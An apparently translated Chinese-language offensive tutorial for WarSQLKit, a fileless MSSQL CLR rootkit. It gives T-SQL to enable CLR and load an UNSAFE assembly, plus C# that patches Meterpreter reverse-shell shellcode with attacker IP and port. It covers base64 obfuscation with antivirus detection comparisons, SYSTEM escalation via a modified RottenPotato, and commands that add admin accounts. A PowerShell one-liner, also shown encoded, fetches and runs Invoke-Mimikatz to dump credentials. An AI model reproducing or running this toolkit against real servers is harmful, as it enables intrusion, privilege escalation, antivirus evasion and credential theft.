MSSQL安全审计文件执行Rootkit-WarSQLKit

 
 

0x00 前言

在本文中,我们将处理一个很长时间以来一直待解决的问题:MSSQL Rootkit。到目前为止,针对MS-SQL所描述的大多数命令执行都是调用“ xp_cmdshell ”和“ sp_OACreate ”存储过程的。因此,如果在没有xp_cmdshell和sp_OACreate存储过程的MSSQL服务器上拥有“ sa ”帐户或任何具有“ sysadmin ”权限的用户帐户,我们是否将停止渗透该系统?

 当然,我们不应该放弃。在本文中将介绍如何获取具"xp_cmdshell”,“ sp_OACreate”,“ sp_OAMethod”的sysadmin权限的帐户.

WarSQLKit Github: https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit

此工具用于捕获具有“系统管理员权限”和“ xp_cmdshell”,“ sp_OACreate”,“ sp_OAMethod”等权限的帐户。

WarSQLKit命令示例:

复制代码
EXEC sp_cmdExec 'whoami'; => Any Windows command
EXEC sp_cmdExec 'whoami /RunSystemPriv'; => Any Windows command with NT AUTHORITY\SYSTEM rights
EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add" /RunSystemPriv'; => Adding users with RottenPotato (Kumpir)
EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'; => Adding user to localgroup with RottenPotato (Kumpir)
EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'; => (Powershell) with RottenPotato (Kumpir)
EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x86 Meterpreter Reverse Connection with  NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x64 Meterpreter Reverse Connection with  NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'; => x86 Meterpreter Reverse Connection RC4 with  NT AUTHORITY\SYSTEM, RC4PASSWORD=warsql
EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'; => x86 Meterpreter Bind Connection with  NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_Mimikatz'; 
select * from WarSQLKitTemp => Get Mimikatz Log. Thnks Benjamin Delpy :)
EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300';  => Download File
EXEC sp_cmdExec 'sp_getSqlHash';  => Get MSSQL Hash
EXEC sp_cmdExec 'sp_getProduct';  => Get Windows Product
EXEC sp_cmdExec 'sp_getDatabases';  => Get Available Database
复制代码

WarSQLKit.dll: https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit/raw/master/WarSQLKit/bin/Debug/WarSQLKit.dll

WarSQLKit_Compressed.dll: https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit/raw/master/WarSQLKit/bin/Debug/Confused/WarSQLKit.dll

WarSQLKitMinimal.dll: https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit/raw/master/WarSQLKitMinimal/bin/Debug/WarSQLKitMinimal.dll

Meterpreter CSharp (C#) Shellcode: https://github.com/EPICROUTERSS/Build-Meterpreter-CSharp-Shellcode

Meterpreter CSharp(C#)Base64编码的Shellcode:https://github.com/EPICROUTERSS/Build-Encoded-Meterpreter-C-Shellcode

OSCMDEXEC_CLR: https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_clr.sql

0x01  什么是CLR

CLR(公共语言运行库)提供了.NET Framework的命令执行环境,该环境在MSSQL Server 2005中可运行,同时也可以在MSSQL Server 2016中运行。换言之,它使我们能够通过MSSQL处理和运行.NET Framework对象。可以使用MSSQL CLR导入任何.NET DLL或使用T-SQL执行命令。

0x02 什么是基于CLR的DLL

基于CLR的DLL文件;MsSQL 的 C#、VB.NET等。使用其中一种 .NET 语言,存储过程允许 T-SQL 语句在 .NET 框架中运行,如触发器等。有了它可创建一个基于DLL的CLR,可以通过将存储过程或类似的 T-SQL 语句从 MSSQL 发送 DLL 文件来使这些语句正常执行。我想,如果可以通过MSSQL运行任何.NET对象,那么我就可以在操作系统上运行任何我想要运行的代码。事实上,进一步来说,可利用.NET的全部功能来构建自己的rootkit。那么,我们如何做到这一点呢?

0x03 创建基于CLR的DLL

首先,我们将从Visual Studio创建一个项目。我们转到“新建项目”>“ SQL Server”>“ SQL Server数据库项目”。

创建我们的项目后,右键单击并选择添加>新建项目> SQL CLR C#> SQL CLR C#存储过程。

这些步骤之后,基于CLR的DLL现在已准备就绪。现在我们可以开始编译了。

0x04  DLL命令处理程序

我们需要编写一种方法来处理从存储过程到 DLL 的命令。创建此参数的原因是我们必须运行通过 MSSQL 传输的操作系统命令。

我定义了一个静态方法,称为"cmdExec",带有"cmd"参数。此静态方法中的命令将传输到"RunCommand"静态方法。这允许我们运行作为输入发送的命令,通过进程及其参数并返回结果。

使用发送到RunCommand方法的命令,我们从Process()类创建一个进程,并通过cmd.exe运行该进程,然后通过MSSQL将输出返回给我们。

0x05 程序集 - 存储过程 - 可信关系

使用SQL CLR C#存储过程,我们创建了.NET DLL的基本版。但是,仅dll无法正常运行。我们需要通过T-SQL在MSSQL中注册DLL来创建存储过程。并同时允许通过MSSQL来创建和执行基于CLR的DLL。默认情况下,MSSQL Server 2016不运行基于CLR的DLL文件,它已被禁用。我们使用以下代码来更改此设置。

复制代码
sp_configure 'clr enabled', 1

GO

RECONFIGURE

GO
复制代码

通过上面的代码,我们启用了“ clr enabled ”参数。完成此过程后,可以将我们的 DLL 文件作为程序集添加到 MSSQL。

为了确认可信任关系; 确保将MSSQL数据库中的数据库标记为安全。标记为安全的数据库可以访问对象,网络和进程资源。通过Trustworthy,我们可以使用以下代码将数据库标记为安全。

ALTER DATABASE master SET TRUSTWORTHY ON;

完成此过程后,我们需要将DLL文件作为程序集引入到MSSQL中。这是最重要的一部分。有3种不同的方法来在MSSQL中定义程序集(.NET DLL)。因此,我们可以使用3种不同的方法将我们创建的DLL文件加载到数据库中。

a.DLL 文件作为字节流加载到 MSSQL

我们可以将创建的DLL文件作为字节流加载到MSSQL中。为此,我们需要使用File.ReadAllBytes()类调用在另一个项目中创建的DLL文件

我读取了在单独的项目字节流类型中创建的DLL文件,并将其输出到byteStream.txt中。现在,我们有了DLL文件的字节流。使用此字节流,我们可以将DLL注册到程序集中,而无需在MSSQL中加载任何DLL。为此,我们将需要执行一些SQL语句。

注意:使用此方法,我们仅将 DLL 文件保存为数据流,而无需在 MSSQL 中创建任何 DLL 文件。这样,我们的 Rootkit 将完全无文件执行。

复制代码
CREATE ASSEMBLY sp_cmdExec

FROM 0x4D5A90000300000004000000FFFF0000B800000000000

WITH PERMISSION_SET = UNSAFE

GO
复制代码

使用CREATE ASSEMBLY创建一个名为“ sp_cmdExec”的程序集。然后,使用FROM命令选择要输出到文件的字节流。这里要注意的最重要的一点是:在我们输出到文本文件的字节流的开头没有“ 0xbasında”。当将视频流粘贴到我们的文本文件中时,它将无法正常运行。因此,在写入0x之后,我们将字节流粘贴到文本文件中。使用PERMISSION_SET = UNSAFE参数,我们指定DLL可以访问不安全的资源(也就是说,我们将仅运行sql和t-sql语句)。如果我们将SAFE参数设置为参数并尝试执行CMD命令,则将抛出错误“ System.Security.HostProtectionException cak”,而我们的cmd命令将无法正常执行。

 

如上图所示,SAFE仅处理数据库。EXTERNAL_ACCESS允许我们访问文件,注册表和网络。UNSAFE允许我们访问本机DLL,COM DLLS对象和其他不安全资源。

 b.使用SQL Server Management Studio将DLL文件转换为MSSQL

还可以将在SQL Server Management Studio中创建的DLL文件注册到MSSQL。为此,让我们通过Management Studio管理MSSQL。

 

在数据库中,访问系统数据库和主数据库。然后从“可编程性”菜单中右键单击“Assembly”,然后选择“New Assembly”。

你可以通过从浏览菜单中选择我们创建的DLL文件来注册我们的DLL。完成此过程后,可以看到我们的DLL已添加到“程序集”菜单中。

从上面的截图中可以看出,名为WarSQLKit 的DLL文件已保存到程序集中

c.服务器中的目录调用DLL

复制代码
CREATE ASSEMBLY sp_cmdExec

FROM 'C:\ProgramData\WarSQLKit.dll'

WITH PERMISSION_SET = UNSAFE

GO
复制代码

如果我们通过任何其他方式将DLL加载到MSSQL服务器上,我们也可以从目录中调用DLL。一旦加载了DLL文件,我们就可以将其从服务器中删除。即使我们从服务器中删除DLL,我们的程序集也将继续运行。

在程序集中注册DLL后,使用3种方法中的任何一种,我们可以调用在DLL中创建的CmdExec静态方法,或发送一个过程调用。为此,我们最终需要一个存储过程。使用以下命令,我们可以创建我们的存储过程。

复制代码
CREATE PROCEDURE sp_cmdExec

@Command [nvarchar](4000)

WITH EXECUTE AS CALLER

AS

EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec

GO
复制代码

现在我们都准备好了,让我们开始运行命令。更详细的是CREATE PROCEDURE命令“ sp_cmdExec”创建了一个名为sp_cmdExec的存储过程现在,我们将使用“ sp_cmdExec”而不是“ xp_cmdshell”. 我们还使用@Command [nvarchar](4000)定义了命令参数。由于Nvarchar最多支持4000个字符,因此我们可以运行或显示4000个字符的命令。我们将调用WarSQLKit,使用EXTERNAL NAME参数创建的DLL的命名名称,名为StoredProcedures的公共部分类以及名为CmdExec的公共静态void方法。

0x06 运行Windows命令

EXEC sp_cmdExec'net user';  #列出Windows本地用户列表。我们不再需要像xp_cmdshell和sp_OACrate这样的存储过程。我们可以将所有已知的Windows命令发送到操作系统。

0x07  C#-兼容MSSQL的Meterpreter ShellCode

到目前为止,我们所做的与基本的xp_cmdshell执行没什么不同。现在我们可以切换到rootkit部分。在上文中我已提到过我们可以在MSSQL中使用.NET Framework的功能。因此,我们需要稍微修改一下DLL文件,然后将Meterpreter Shellcode嵌入到其中。因此,我们可以使用在sp_cmdExec存储过程中定义的参数来获得Meterpreter会话。     

通过从Kali操作系统访问终端屏幕的msfvenom命令来创建与csharp兼容的shellcode。为此,我们可以使用以下命令。  

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.129 LPORT=4444 EXITFUNC=none -f csharp --platform windows

我们创建的与csharp兼容的shellcode将是323个字节的代码。要编译和运行Meterpreter代码,我们需要向DLL中添加一个新类。我创建了一个名为MeterpreterBuilder的类。我们为此类定义了一个名为SaveReverseMeterpreter()的公共void方法。在此方法中,我们定义了运行shellcode的条件要求。 

然后,我们在MeterpreterBuilder类中全局定义以下参数。

本文中已经准备好我们运行的Shellcode。当我们想直接通过sp_cmdExec运行它时,我们有两个问题需要解决。1. MSSQL(sqlservr.exe)不允许我们运行此Shellcode。2.每次我们从msfvenom生成csharp shellcode并更新我们的DLL时,都会给我们带来很大的麻烦。因此,我们需要首先解决这些问题。

若要运行Shellcode,我们需要使用.NET Framework的内置编译器(无需Visual Studio)以exe形式构建代码,并将其作为单独的进程运行。由于我们不能每次都处理msfvenom和shellcode,因此需要通过定义字符串ip和字符串端口参数并使用存储过程中的IP-port参数更新shellcode来编译SaveReverseMeterpreter()方法。对于步骤1,您可以阅读标题为"使用.NET Framework( 不戴Visual Studio)C语言的部分。在步骤2中,我们将方法更新为publicstaticvoid SaveReverseMeterpreter(字符串ip,字符串端口)。。现在,SaveReverseMeterpreter方法将在调用时提示我们输入IP和端口。我们将根据输入的IP和端口信息更新shellcode。我们可以为此使用以下代码。

复制代码
var ipOctetSplit = ip.Split('.');

byte octByte1 = Convert.ToByte(ipOctetSplit[0]);

byte octByte2 = Convert.ToByte(ipOctetSplit[1]);

byte octByte3 = Convert.ToByte(ipOctetSplit[2]);

byte octByte4 = Convert.ToByte(ipOctetSplit[3]);

int inputPort = Int32.Parse(port);
复制代码

我们根据“ ...”分割作为参数发送的IP 。然后将IP分配给4个八位位组。通过为每个八位位组定义一个字节类型变量,我们将以Convert.ToByte作为字符串的IP八位位组转换为字节型。

我们为端口执行的过程有些不同。我们将端口解析为Int32。原因是该端口仅包含数字。没有标点符号。此外,端口可以对应于大于256的数字。因此,如果将端口定义为4444,则Meterpreter在shellcode中将具有2个字节的值,因为它大于256。由于我们不知道要设置哪个端口号,因此我们将通过查看端口号的大小来决定应设置哪个数字。

复制代码
byte port1Byte = 0x00;    #我定义了2个字节的0x00。

byte port2Byte = 0x00;

if (inputPort > 256)

                {

                    int portOct1 = inputPort / 256;

                    int portOct2 = portOct1 * 256;

                    int portOct3 = inputPort - portOct2;

                    int portoct1Calc = portOct1 * 256 + portOct3;

                    if (inputPort == portoct1Calc)

                    {

                        port1Byte = Convert.ToByte(portOct1);

                        port2Byte = Convert.ToByte(portOct3);

                    }

                }

                else

                {

                    port1Byte = 0x00;

                    port2Byte = Convert.ToByte(inputPort);

                }
复制代码

我定义了一个if条件来检查我们设置为Int32的端口值。因此,如果输入的端口号大于256,我们的条件将起作用,并且我们将进行计算。如果端口大于256,则将第一个输入的端口除以256,然后将结果的数字分配给一个int变量。然后,我们定义一个类型为int的第二个变量来计算乘数和,然后将256乘以从之前一个值获得的int变量值。 

在计算乘数之后,我们从设置的端口中减去第二个变量的值,并将其分配给第三个int变量。然后,我们定义另一个if条件,并将输入的端口值与计算得出的端口值进行比较。如果满足条件,则将结果值分配给我们先前定义的字节类型的端口变量。

这部分可能看起来有些复杂。为了清楚起见,我将进行采样。例如,我们希望meterpreter从端口4444返回给我们。在我们的shellcode中,为该端口保留了2个字节的字段,我们需要设置此字段。我们发现数字4444/256 = 17 17 * 256 = 4352。我们发现4444-4352 = 92。因此,我们需要在shellcode中为4444端口定义数字17和92。17字节(十六进制)类型对应于0x11,而92字节类型对应于0x5c。例如,端口57156将为:57156/256 = 223,223 * 256 = 57088、57156-57088 = 68,并且等效项将为0xdf和0x044。在我们的Shellcode中,我们需要将它们分配给与端口值相对应的字节变量。

例如,我们的IP地址192.168.139.129将对应于我们的shellcode中的0xc0、0xa8、0x8b,0x81。现在我们需要在shellcode中更改这些变量。使用我指定的参数,我们将从msfvenom生成的shellcode将始终以相同的变量顺序生成。字节数组中的IP和端口信息如下。

我们可以看到在字节数组编号174、175、176和177中设置的IP地址被保留。我在上面提到了端口计算。我们可以看到端口4444对应于17和92。我们的端口位于181和182字节。更改字节数组中作为参数发送的IP和端口的字段就足够了。

复制代码
buf[174] = octByte1;

buf[175] = octByte2;

buf[176] = octByte3;

buf[177] = octByte4;

buf[181] = port1Byte;

buf[182] = port2Byte;
复制代码

如上所述,我们在Shellcode中设置IP和端口值。到目前为止,一切正常。现在,我们需要返回StoredProcedure.cs并进行定义,该定义将调用我们的Meterpreter shellcode。因此,当我们从MSSQL运行类似“ EXEC sp_cmdExec'sp_meterpreter_reverse_tcp 192.168.139.129 4444“的命令时,请调用我们的SaveReverseMeterpreter(字符串ip,字符串端口)方法。

通过在CmdExec中定义if条件,如果发送的命令包含“ sp_meterpreter_reverse_tcp”,则应将命令拆分为空格。然后,我们通过调用MeterpreterBuilder类来设置Ip和Port值,从而调用SaveReverseMeterpreter()方法。现在我们的代码已经准备好了。我们将在不使用Visual Studio的情况下使用.NET Framework,在MSSQL服务器上编译这些代码,并构建Meterpreter exe。这将绕过运行shellcode的“ sqlservr.execalstlrma

0x08 使用.NET Framework从MSSQL编译C#代码(不使用Visual Studio)  

在本节中,我将把Meterpreter的shellcode转换为csharp(.cs)文件,将阐述在SQL Server上运行的代码。需要重新排列在第7部分中创建的shellcode作为控制台应用程序

我将以控制台应用程序的形式将shellcode填充到var(string)类型的变量中。并需要将此字符串数据写入到我们在SQL Server中具有写权限的目录中。我们可以在此过程中使用以下代码。

File.WriteAllText(@"C:\\ProgramData\\meterpreter_reverse_tcp.cs", strMtr);

当我们从SQL Server调用方法时,它将名为meterpreter_reverse_tcp.cs的shellcode保存到C:\ProgramData目录中。保存到SQL Server的文件如下图所示。

我们需要编译在没有Visual Studio的情况下注册到SQL Server的csharp(.cs)文件。为此,只需要在服务器上安装.net框架即可。由于我们已经在研究MSSQL,因此MSSQL具有.Net Framework依赖性。换句话说,服务器上有.Net Framework。在服务器上有.Net Framework,但是有那些版本?我们并不知道。要测试版本,我们正在编写另一种方法,如下图所示。

通过创建类型<string>的通用列表,我们将“C:\Windows\Microsoft.NET\Framework”文件夹中的子目录名称填充到通用列表中。服务器上安装的所有.Net Frameworks都位于此目录中。有了这些信息之后,我们现在就可以构建csharp(.cs)文件。

“ Net csc.exe”文件位于.Net Framework的安装目录中。csc.exe是.net框架附带的csharp编译器。使用此exe,我们可以编译任何.cs文件,而无需使用Visual Studio。我在rootkit中使用的示例编译过程如下。

CMD.EXE / C参数运行所在的目录中安装最新的.NET Framework版本的CSC.EXE /unsafe /platform:x86使用x86架构来编译,编译的可执行文件输出到“C:\ProgramData\“目录下。命名使用随机名称,然后编译使用随机名称保存在 C:\ProgramData\kaynak  的meterpreter_reverse_tcp.cs文件。  

首先“File.Delete(@"C:\ProgramData\" + randomFileName + @"_reverse.cs"); 要求从服务器中删除使用File.Delete创建的.cs文件。然后(@"C:\Windows\System32\cmd.exe", @" /c C:\ProgramData\" + randomFileName + @"_reverse.exe");最后,我想运行使用BuildRunMeterprete代码和cmd.exe / c参数创建的Meterpreter exe。

注意:我们需要使用msfconsole的exploit/multi/handler设置windows/meterpreter/reverse_tcp的有效负载,并等待建立连接。 WarSQLKit中通过此方法定义了4个Meterpreter代理。在WarSQLKit中可以使用以下Meterpreter有效负载。

复制代码
windows/meterpreter/reverse_tcp

windows/meterpreter/bind_tcp

windows/x64/meterpreter_reverse_tcp

windows/meterpreter/reverse_tcp_rc4
复制代码

提示:我们创建的Meterpreter shellcode将被许多防病毒软件拦截并阻止运行。因此,在下一节“  Meterpreter Shellcode Anti技术”中,我们需要继续介绍如何从防病毒中隐藏我们的Shellcode。

0x09 Meterpreter Shellcode Anti(bypass)技术

不幸的是,我们经典shellcode会被防病毒软件捕获。因此,当我们在考虑如何从防病毒程序中隐藏shellcode时,我们想到了Tolga Sezer用base64编码shellcode并通过将base64转换为shellcode来运行它的方法。

怎么会呢?当我们使用base64对shellcode进行编码时,如何自动更改IP和端口值?尽管这些似乎有些问题,但我们将看到可以用一些简单的方法来解决这一点。首先,我们必须获取shellcode的原始csharp类型和base64编码应用程序,然后更改IP和端口值以再次获取raw,然后应用base64编码并检查更改的部分因为和前面的示例一样,当我们更改IP和端口重合的字节数组时,base64崩溃了。当然,存在将base64分配到6位四字节数组的问题。因此,我对shellcode的base64输出进行了详尽的回顾。首先,我们应该看一下已编码的shellcode的基本代码

通过更改IP和端口信息,当我将base64编码重新应用于shellcode时,我看到“ wKiLhmgCANkD ”字符已更改。解码此部分时,我看到“ c0 a8 8b 86 68 02 00 d9 03”。知道此解码值分别对应于“ 192.168.139.134 104 2 0 217 3sır”。换句话说,当我们更改IP和端口时,需要正确设置9个字节以使base64正常运行。前4个字节对应于IP,后2个字节对应于端口。

我们已经为名为shellCodeRaw的字符串变量定义了一个固定的base64值。在不破坏base64的情况下,我们不应更改字符串中输入的IP和端口值。为此,我们需要一个9字节的数组。

我为输入的IP和端口值创建了一个9字节的新数组。前4个字节代表我们设置的IP地址,后2个字节代表端口。当我们使用base64对这9个字节的数组进行编码时,它不会破坏shellcode的base64状态。

我定义了一个名为string和s3的变量。将9字节数组转换为base64字符串。现在,我们有一个与IP和端口变量相对应的base64值。然后定义一个名为newShellCode的字符串变量。通过Replace,我将KwKiLhmgCANkD  ile的值更改为我们创建的9字节数组的base64版本

shellcode的base64已经准备好了。现在它将自动更正输入的IP和端口值,并将它们转换为base64以创建新的base64值。默认情况下,我们无法运行此base64。因此,我们将通过在运行时将base64值转换为字节数组来运行Shellcode。

在此过程中,我们可以在之前定义的“ funcAddr”和“ Marshal.Copy”字段中更改变量名称。

让我们编译CSharp(.cs)代码,创建一个exe,并检查shellcode的捕获状态。我为两个应用程序创建了不同的控制台应用程序。通过测试安装来创建这些控制台应用程序在线防病毒站点。尽管我知道virustotal正在与反病毒供应商共享已发送的应用程序,但我还是安装了它以进行演示和基准测试。

经典字节数组类型Shellcode测试结果 

Jotti(5/18):https://virusscan.jotti.org/en-US/filescanjob/kefjrqh37l

NoDistribute(6/32):https://nodistribute.com/result/fNvFlayZxHchAizjO3o4n

VirusTotal (11/60)::https://www.virustotal.com/#/file/6cf4dec3dc1dc91a21e17a1e3ca106d7a4ebd4fd23b96de71c9490bf8d24897d/detection

Base64编码ShellCode的测试结果 

Jotti (1/18): https://virusscan.jotti.org/en-US/filescanjob/uesbd8p86z

NoDistribute (1/32): https://nodistribute.com/result/W1sUCXO4znfEiITJjhbx6

VirusTotal (3/64): https://www.virustotal.com/#/file/4f9c60b05235dde6e165fa71fa15c6aedbefeb7ef91138c569fe118eb15a2b33/detection

目前,我们仅适用Eset技术,但是,可以使用不同的方法。但基本上,这是我在Rootkit中使用的方法

0x10 通过RottenPotato(Kumpir.exe)提升权限

在本节中,我假设一切准备就绪。默认情况下,我们已攻击的SQL Server正在以“ NT Service \ MSSQLSERVER”权限运行。换句话说,NT服务管理正在运行一个虚拟帐户类型,该虚拟帐户类型与服务帐户的名称相同。这是Windows操作系统中鲜为人知的权限类型。我们需要从这种类型的权限提升到“ AUT NT AUTHORITY \ SYSTEM”的权限。我已经写了有关提升MS-SQL 2016中的权限文章:http://eyupcelik.com.tr/guvenlik/491-windows-server-ve-mssql-server-2016-privilege-escalatio

通过使用RottenPotato,我们可以执行特权权限升级。但是,Rottenpotato可获得一个Meterpreter会话,并使用隐藏功能来增加此Meterpreter会话的权限。我不喜欢这样,因为我希望在创建的存储过程中输入操作系统命令(而不是Meterpreter会话)能够获得“ SYSTEM”权限。为此使用的Rottenpotato应用程序必须进行一些修改。经过此修改,Rottenpotato被重命名为“ Kumpir

我必须将Kumpir作为字节流嵌入到我们的Rootkit(WarSQLKit)中。当使用“ / RunSytemPriv”参数将任何命令传递到sp_cmdExec存储过程时,它将以exe的形式抛出kumpir.exe的字节流,传入的脚本将通过kumpir.exe传递给系统,并返回命令输出。现在,让我们看看如何传输kumpir字节流

我为Kumpir.exe创建了一个类。在KumpirBytes()方法中定义了一个名为hex的字符串。在此字符串中,定义了kumpir.exe的字节流。然后,我需要将此字节流导出为exe。

  我用File.WriteAllBytes导出了Kumpir.exe。但是我有这样的问题,kumpir.exe(Rottenpotato)有3个依赖文件。这些文件是“ Microsoft.VisualStudio.OLE.Interop.dll”,“ NHttp.dll”和“ SharpCifs.dll”。单独读取和输出每个文件作为字节流,然后导出和删除每条命令,将是一项非常长的工作。使用ILMerge,我们将这些依赖项与kumpir.exe合并。但是结果仍然令人差强人意,因为Kumpir.exe的大小已达到727 KB。 727 KB的字节流也将非常大。此外,WarSQLKit.dll(Rootkit)导出的文件大小也非常大。

  我们用mpress压缩Kumpir.exe。727 KB kumpir.exe文件已降至283 KB。我们将283 KB的kumpir.exe填充到十六进制可变字节流中。然后,使用“ File.WriteAllBytes uz”,将Kumpir.exe输出到C:\ProgramData目录中。在正常情况下,727 KB是完全够的。它没有被任何防病毒软件捕获。但是,我们压缩的Kumpir.exe文件只有283 KB,只有被Avira可以捕获。 Avira似乎有害,因为Mpress中使用了压缩技术。

参考链接:https://nodistribute.com/result/1jYc9lBu0pqFPg53nm4

0x11 通过Mimikatz获取会话信息 

 我们将在渗透测试中执行所有这些步骤。但是,由于我们的主要目标是接管域控制器,因此我们需要捕获“ Mimikatz Clear,带有明文密码或最坏的是NTLM密钥。为此,我创建了一个名为RunMimikatz()的方法。我们的应用程序将从Powersploit的GitHub中提取Mimikatz的Powershell模块,并将结果返回给我们。我们可以使用以下代码进行处理。

“Powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m”

到目前为止,一切都还好。但是有一个问题,这个powershell代码可被捕获。因此,我们需要将其转换为base64。 

“powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==”

我们的Powershell代码的base64版本将如上所述。不幸的是,在这部分之后,我们面临着不同的问题。我们通过MSSQL运行的Powershell代码没有输出给我们。我们无法获得输出的原因是因为nvarchar不能向我们返回超过4000个字符。Mimikatz的输出将远远大于4000个字符。当我在基于Windows Server 2016的用户登录的MS-SQL Server 2016上运行命令时,mimikatz输出大约22000多个字符的输出。因此,WarSQLKit.dll返回错误消息,因为我无法获得大于4000个字符的输出。为了解决该问题,我决定将Mimikatz输出注册到名为imi mimi.log的临时目录中。对于Powershell编码器 您可以使用https://www.powershellencoder.com

“RunMimikatz("cmd.exe", "/c powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA== > C:\\\\ProgramData\\\\mimi.log 2>&1");“

通过在RunMimikatz方法末尾输入值为> C:\\\\ProgramData\\\\mimi.log 2>&1,将输出保存到C:\ProgramData目录中,文件名为mimi.log。关键是,我为每个目录使用了4个反斜杠。对于C#字符串的值,2反斜杠表示1反斜杠。当代码传递给powershell时,它将剩余的2个反斜杠值评估为1个反斜杠。因此,当传输到powershell时,4个反斜杠值表示1个反斜杠。我花了大约2-3个小时才找到并解决了这个问题。

使用上面的代码序列,我们通过调用powershell运行Powersploit的Mimikatz模块,并将其注册到C:\ProgramData目录中的mimi.log。我们可以使用命令“ type C:\ProgramData\mimi.log”读取此日志文件。不幸的是,我们不能使用Type命令读取它,因为如上所述,我们的mimi.log文件大于4000个字符。当我想到如何读取它时,我发现可以通过这种方式来解决此问题。我们可以通过DLL将保存的mimi.log文件输出到临时表中。因此,使用select命令,我们可以检索表中的数据,即mimikatz日志。要将结果数据输出到临时表中,我们需要创建一个sqlCommand。

我创建了一个名为GetMimiLog()的方法。我在此方法中添加了2条SQL命令。对于我们的第一条Sql命令,IF OBJECT_ID('WarSQLKitTemp')IS NOT NULL DROP TABLE WarSQLKitTemp" + Environment.NewLine + "CREATE TABLE dbo.WarSQLKitTemp(mimiLog text);” 输入SQL语句。用这句话,如果有一个名为S WarSQLKitTemp ve的表并且它不为空,并希望将其删除。然后,我们创建一个名为WarSQLKitTemp的表和一个名为mimiLog的文本表。

然后,我创建一个名为mimiLogStr的字符串变量,并通过读取mimi.log文件中的数据将其分配给它。使用参数insert into WarSQLKitTemp(mimiLog) values(@mimiLog),我们还将数据从mimi.log文件输出到WarSQLKitTemp表中。

这是另一个引起注意的地方。 SqlConnection connection = newSqlConnection("context connection=true")”。对于SqlConnection,我们仅将 context connection=true输入为ConnectionString 。我们也没有定义SqlConnection。因为我们的DLL已经在SQL Server上运行,所以我们不需要再次设置诸如数据源,用户ID和密码之类的值。

我们已将mimikatz输出的mimimi.log文件输入到表中。执行完这些命令后,我们可以通过在SQL Server上运行select * from WarSQLKitTemp命令来获取mimikatz输出信息。

0x12 文件下载器

对于经典的Rootkit,文件下载器是必需的。为了在WarSQLKit中放置一个File Downloader,因此,我创建了一个名为FileDownloader的类。 

我为创建的类定义了一种名为StartDownload(int超时)的方法。并为该方法附带的下载请求创建了WebClient。对于向rootkit的下载请求,我设置了定义“ URL,要保存的目录,超时”。因此,我们将能够将给定地址的文件下载到.Net Framework的WebClient对象指定的目录中。

0x13  WarSQLKit(MSSQL Fileless Rootkit)用户指南  

 要在SQL Server中定义WarSQLKit.dll,应阅读第5节中标题为“程序集-存储过程-信任关系”的文章。我将根据第5节中的小节继续阐述,从目录alt调用DLL。通过Management Studio连接到SQL Server并运行以下代码。

复制代码
sp_configure 'clr enabled', 1

GO

RECONFIGURE

GO

ALTER DATABASE master SET TRUSTWORTHY ON;

IF (OBJECT_ID('sp_cmdExec') IS NOT NULL)

DROP PROCEDURE sp_cmdExec

GO

IF EXISTS(SELECT * FROM sys.assemblies asmb WHERE asmb.name = N'sp_cmdExec')

DROP ASSEMBLY [sp_cmdExec]

GO

CREATE ASSEMBLY sp_cmdExec

FROM 'C:\ProgramData\WarSQLKit.dll'

WITH PERMISSION_SET = UNSAFE

GO

CREATE PROCEDURE sp_cmdExec

@Command [nvarchar](4000)

WITH EXECUTE AS CALLER

AS

EXTERNAL NAME sp_cmdExec.StoredProcedures.CmdExec

GO
复制代码

